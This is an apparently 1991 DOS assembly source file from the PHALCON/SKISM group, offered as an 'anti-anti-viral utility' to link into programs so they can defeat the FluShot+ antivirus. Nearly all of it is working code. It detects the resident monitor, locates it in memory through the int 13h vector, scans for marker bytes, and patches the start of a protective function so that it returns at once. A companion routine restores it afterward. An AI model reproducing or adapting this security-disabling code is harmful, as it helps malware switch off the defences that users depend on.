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92 lines
3.1 KiB
NASM
92 lines
3.1 KiB
NASM
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; FLU_NOT.ASM <20> Routines to be linked into your FluShot+ resistant
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; <20> programs.
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; Version 1.0 <20> 27 November 1991
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;
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; Written by Dark Angel and Demogorgon of PHALCON/SKISM Co-op
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; Look for more Anti-Anti-Viral Utilities from us!
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;
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; Notes:
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; This is different from the C routines. Call Flu_Not to disable and
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; Flu_Restore to reenable (at the end of your program, of course). Try
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; not to call Flu_Not more than once in your program. To disable again,
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; simply use:
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; les si, dword ptr flu_off
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; mov es:[si], 593Ch
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; (actually, this probably won't work in the .ASM file, but you can write
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; the routine yourself and put it in this file.)
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Public Flu_Not, Flu_Restore
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CODE SEGMENT BYTE PUBLIC 'CODE'
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ASSUME CS:CODE
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org 100h
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flu_off dd 0
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flu_seg dd 0
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Flu_Not Proc Near
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push ax
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push bx
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push bp
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mov word ptr cs:[flu_seg], 0
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mov ax, 0FF0Fh ; Check if FluShot+ resident
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int 21h
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cmp ax, 0101h
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jnz No_puny_flus ; If not, no work to be done
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Kill_Puny_Flus: ; Otherwise, find the
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push es ; FluShot+ segment
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xor ax, ax
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mov es, ax
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mov bx, 004Eh ; Get int 13h handler's
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mov ax, es:[bx] ; segment
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mov es, ax ; ES is now FSEG - YES!
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mov bp, 1000h ; Start at FSEG:1000
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Froopy_Loopy:
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cmp word ptr es:[bp], 593Ch ; Try to find marker bytes
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jz Happy_Loop ; NOTE: No need to set
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inc bp ; counter because FluShot+
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jmp Froopy_Loopy ; is guaranteed to be in
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Happy_Loop: ; memory by the INT 21h call
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cmp word ptr es:[bp], 'RP' ; Look backwards for the
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jz Found_It_Here ; beginning of the function
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dec bp
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jmp Happy_Loop
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; If you are paranoid, you can add other checks, such as
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; (in Froopy_Loopy) cmp bp, 5000h, jz No_Puny_Flus and
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; (in Happy_Loop) cmp bp, 1000h, jz No_Puny_Flus, but there
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; is really no need.
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Found_It_Here:
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mov word ptr es:[bp], 0C3F8h ; Key to everything - replace
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mov word ptr cs:[flu_seg], es ; function's starting bytes
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mov word ptr cs:[flu_off], bp ; Save the flu_offset
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pop es
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No_Puny_Flus:
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pop bp
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pop bx
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pop ax
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ret
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Flu_Not Endp
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Flu_Restore Proc Near
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push ax
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push bx
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push es
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les bx, dword ptr cs:[offset flu_off] ; Load ES:BX with Seg:Off
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mov ax, es
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or ax, ax
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jz No_FluShot
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mov word ptr es:[bx], 5250h
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No_FluShot:
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pop es
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pop bx
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pop ax
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ret
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Flu_Restore Endp
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CODE ENDS
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END
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